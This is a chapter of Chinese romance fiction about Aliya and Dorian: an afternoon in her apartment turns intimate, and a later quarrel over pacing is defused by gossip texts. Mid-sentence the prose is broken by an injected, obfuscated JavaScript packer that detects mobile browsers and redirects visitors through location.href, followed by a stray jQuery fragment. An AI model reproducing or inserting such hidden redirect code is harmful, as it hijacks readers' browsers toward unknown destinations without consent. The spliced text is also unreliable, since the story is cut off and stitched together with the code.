那家卢米埃尔剧院的放映设备隔三差五地出故障。那天也是。
阿利雅和多里安那时候开始约会差不多一周，她光顾卢米埃尔时，不再准时出现在最开始的那个角落座，而是大大方方坐到多里安旁边。
那天下午场的电影放到半途，影院音响忽然坏了，影院老板乐得就此早点关门，中止放映，然后分发电影券作为补偿。宛如他们初遇那天的重演。
两人走出电影院时天色仍旧明亮。
故障发生的时间点尴尬，下午已经过了大半，重新找别的地方约会又有点晚了。昨天他们刚刚去海边玩过，再跑一趟好像有点重复。
阿利雅转头，和多里安对上视线。
她还不想回家。或者说，一个人回家。她猜他也一样。
“要不要来我的公寓？我们可以在线把刚刚这部看完。”她很随意地提议。
多里安惊讶地盯着她看了几秒，目光阅读谜题般在她脸上来回地游移。他很明显吃不准这邀请是什么性质。
阿利雅其实也说不清自己的意图。话出口的那瞬间，她几乎都要相信，她真的只是在邀请他到她那里补全没能看完的电影。
“听上去是个好主意。”多里安没有犹豫太久。
于是两个人牵着手往阿利雅的公寓区——路线多里安已经很熟悉，每晚他送阿利雅从影院回去都走这条路。
但这是他跟着她第一次上楼。
“请进。随便坐。”
多里安跟着阿利雅进门，步子不紧不慢。他抬眼环顾四周。
廉价周租公寓名义上是一室一厅，但所谓的卧室本质上是个稍大的壁龛，从门口一眼就看得到床。他立刻收回视线。
正是这个礼貌、甚至于说有些拘谨的小细节，让阿利雅下定决心：
她的夏天有明确的期限，夏日的果实就该在有机会品尝的时候吃掉。
“今天出门的时候我忘记拉窗帘了，房间里比平时要热，喝点东西？”阿利雅说着脱下当外套穿的棉麻花衬衫，露出里面的短款黑色吊带背心。她把衬衣随意扔到餐桌椅背上，转过身去冰箱里拿冰饮料。
全程她没有看多里安，表现得和独自在家一样放松。
很老套的勾引技巧，但愿可以奏效。
阿利雅拿着果汁和瓶装水走回沙发跟前，多里安神色平静，淡然接过瓶装水道谢。
她并不失望，反而愈发跃跃欲试。她在他身边坐下，找到刚才那部电影在线观看的平台，用书把笔记本电脑垒高，拖动着视频进度条：“你还记得刚才看到哪里吗？差不多这里？”
多里安也略微朝着电脑倾身，仿佛完全无意地，他的肩膀挨上她的，手掌也盖住她的，就这么包着她的指掌滑动起触控板。
阿利雅吞咽了一记，视线牢牢黏在屏幕上。
“差不多这里。”多里安按下播放键，若无其事地靠回沙发原位。
有那么一会儿，两个人都没说话，宛如已然迅速沉浸回上世纪70年代老电影的世界。
房租包含的无线宽带网络服务不太稳定，视频播放了十多分钟，画面忽然静止，加载中的圆圈在屏幕正中努力地转啊转，像没有仓鼠的仓鼠球，好半天也只是原地踏步。
阿利雅转过头，准备抱怨几句打破沉默。
到了唇边的词句却没能出口。
几乎与她同步动作，多里安也朝他看过来。
遮光窗帘让室内不合时段地昏暗，屏幕映在他瞳孔里幽幽的那一点光亮无端让阿利雅想到大型食肉动物。
她于是确信，对她的小把戏，他不仅注意到了，并且完全没有表面上那么平静。
很难说清是谁先凑近，嘴唇找到嘴唇，自然而然。
卡顿的视频终于加载成功，拿腔拿调的老电影台词响起，咬字清晰，但没人在听。
茶几上还散发着凉气的饮料不是正确的良药，唯一能解渴的甘泉要越过齿关，往更深处寻找。傍晚有时候反而是一天最炎热的时段，有东西顺着血管和神经燃烧，仿佛灵魂也要受不住这热意，脱离躯体飘起来。
阿利雅本能地伸手触碰，想要借此抓住一点实感。
多里安的肩膀还残留着少年人的纤瘦，搭住的时候骨骼感明显。快要喘不过气，她无章法地隔着夏衫摸索，抚过骤然绷紧凸显的轮廓，却好像始终找不到合适的一片衣物揪住。
跟随着她指尖的去向，低低的哼声从多里安的喉咙深处逃逸。扣在她后颈的手掌滚烫，也开始游走，一阵阵电流般的热意从尾骨迸发，让她颤栗，却反而向着热源贴得更近。
他的吐息微微撩动她鬓角散下的头发，顺着下颌线移动，流连颈侧，唇瓣时不时贴上咽喉，每次都停上几秒。
脆弱的要害被触及天然激发危机感，她已经分不清恐惧、紧张和兴奋，反正都是一样的肾上腺素狂飙，心跳呼吸急促。
火焰继续蔓延，随着指掌动作，骨节轮廓在黑色织物下时隐时现。
这就是她想要的，阿利雅模模糊糊地想，她还想要更多；只有仿佛能摧毁一切、海啸般的狂潮，才能冲走压在天际线的现实，让她忘记过去，遗忘她还有必须面对的之后。
下一秒，电影台词忽然间又听得清了。
因为多里安猛地停下。
他浑身紧绷，呼吸急促，眼神仿佛要钉住她，一眨不眨，沉默地等待一个信号。
阿利雅这才察觉最后一次抉择的紧迫，刻不容缓，足以切身感受，无可忽视。
她把几乎要跳出喉咙的心脏咽下去，点了点头。
一滴薄汗因为喉结的颤动微弱地闪了闪。
“你确定？”多里安眼睛挣扎地闪烁着。有那么短暂的一瞬间，他看上去更希望她能给出否定的答案。
后来回想起这个时刻，阿利雅有时会觉得多里安察觉到了什么。他的直觉向来敏锐。
早早地顺应欲望行动为他们的关系下定义，也印上预言的烙印——最初谁都没有认真，只是夏日轻浮却也美妙的消遣，所以也不能期望着对彼此、对还很遥远的夏日末梢负责。
“不要停。”
阿利雅五年前如此作答。
她说不上后悔，但也清楚那是一系列错误的开端。
同样的错误她不会再犯。
所以阿利雅只是对多里安笑了笑，轻巧地消解对视里滋长的情绪，视线转回银柏之家充当荧幕的墙面。多里安又看了她好片刻，才默然转开视线。
出于同样的理由，她之后又躲开了一次可能的亲近：
看完电影，两人在厨房里泡了香草茶，聊之后几天的安排，多里安找准气氛和时机俯下来，阿利雅却飞快地别开脸。
原本别有去处吻就落到了脸颊上。
多里安这次没有无可奈何地一笑带过。他唐突地转身踱开两步，对着窗户沉默了良久后才说：“实话说，连续被你这样拒绝，我有一点受伤。”
阿利雅没说话。
他略微回头，大半张脸藏在夜色里：“我愿意慢慢来，但如果那意味着表达温情的吻都严格禁止……我不确定我还能继续配合。”
阿利雅深呼吸：“多里安，我并不是在拒绝你。”
多里安低低地笑了声：“但如果我的一举一动都让你这样紧绷，如临大敌，我很难不觉得那是一种无意识的抗拒。”
“我晚餐时才说过，我需要更多时间，我希望先更了解你一些。而你依然一次次地……”她闭了闭眼，“诱惑我、动摇我，我也会觉得，你根本不在乎我刚刚说了什么，我对你的吸引力只是生理上的。”
多里安难以置信地睁大眼睛：“上帝！不是每个吻、每个拥抱都有别的最终目的！”
他的语气让她也不由自主竖起防备的尖刺：“你给我的感觉可不是这样。”
“我对你有欲望吗？当然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672595|184066||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，没有才不正常。但这不代表我脑子里除了性就没有别的。在你眼里，我就这么缺乏自制力？！”
阿利雅僵着脸反驳：“我没有那么说。我只是希望你对我的意愿有最基本的尊重。”
多里安扶住额角，茫然无措地在窗边转了一圈，声音突然有些疲惫：“好吧，我承认，我做得是有点过火。但那也是因为你越推开我，我就更加需要证明……切实的，可以触碰到的证明。”
“证明什么？”
“证明你没有又突然改变主意反悔！”
两人不知不觉都抬高了声调，在空阔的房子里不祥地回响。
阿利雅哈地呼了口气，像一声不成调的嗤笑：“我们必须在第一天晚上，就因为你缺乏安全感吵起来吗？”
多里安的脸色顿时变得苍白。
她懊悔地咬住了嘴唇，闭了闭眼：“抱歉，我不是那个意思。”
他走到水槽边洗了把脸，直起身后依然背对着她：“我只是不明白。为什么在你眼里，我们对彼此有吸引力好像就成了坏事。就不能是因为喜爱这个人，所以才想要和她有亲密接触？
“好，或许只是我们感情观有所不同，你需要更多时间，你要慢慢来，你要先了解我更多。但是，被荷尔蒙冲昏头脑失控就可怕到这个地步？”
他缓慢地转过来面对她，声音有一丝微弱的颤抖。
“阿利雅，你到底在害怕什么？”
‘害怕’这个词让她绷紧脊背。她下意识环抱双臂，一言不发地迎上多里安的视线。
多里安的声音变得轻柔平稳，却也极为冰冷：“你之前说这次要慢慢来，不希望任何人受伤。你假设可能受伤的是不是只有一方，我这一方？”
他扯了扯嘴角：“你害怕你会发现，你其实并不怎么喜欢真正的我，于是不可避免地伤害到我，是这样吗？”
手掌还残留着热茶杯的温度，阿利雅却像是刚到地下室走了一趟，冷得想要打颤。
“看起来，我在你这里真的毫无信用可言。”
多里安自嘲地笑了：“只要牵涉到你，我就从来没有把握。”
“你——”阿利雅才开了个头，她放在厨房桌子上的手机就连着震动了两下。紧接着，多里安的手机屏幕也亮了起来。
时机凑巧得可疑。难道有什么大新闻？
阿利雅率先拿起手机确认情况。
是两条新短信，发件人让她意外，是非常偶尔才聊几句的伊娃·菲。
伊娃发来了一个网页链接，标题就足够概括一切：
《多里安和伊娃上月被目击酒店电梯热吻？！》
八卦新闻当事人伊娃对此的评价是：‘如果事情是我猜测的那样，请在24小时内支付封口费（鬼脸）’。
阿利雅抬眼一瞧，多里安眉毛微扬，表情同样十分微妙。
“伊娃？”她试探性地问。
他直接把短信页面亮给她看。确实也是伊娃的消息，措辞都一模一样，很显然是先发给阿利雅，然后顺手复制黏贴又抄送了一份给多里安。
被乌龙新闻这么一打岔，刚才的尖锐气氛倒是消散了大半。
“看来那对情侣过了一整个月，终于找到了愿意为他们的小道消息付费的小报。”多里安没回伊娃的调侃短信，把手机往口袋里随便一塞，呼了口气：
“抱歉，我刚才反应过度了。之后我会尽量控制好自己的情绪。”
“你今天肯定很累。”阿利雅给他找了个理由。
“那么我先上楼了。晚安。”
他走到厨房门口，阿利雅突然出声：
“多里安。”
他停下脚步，略微回头表示在听，但没有看她。
阿利雅三步并作两步走过去，绕到他身前，扶住他的肩膀仰头，嘴唇贴上他的。
这是个带了点和解意味的、温柔的吻。
“晚安。”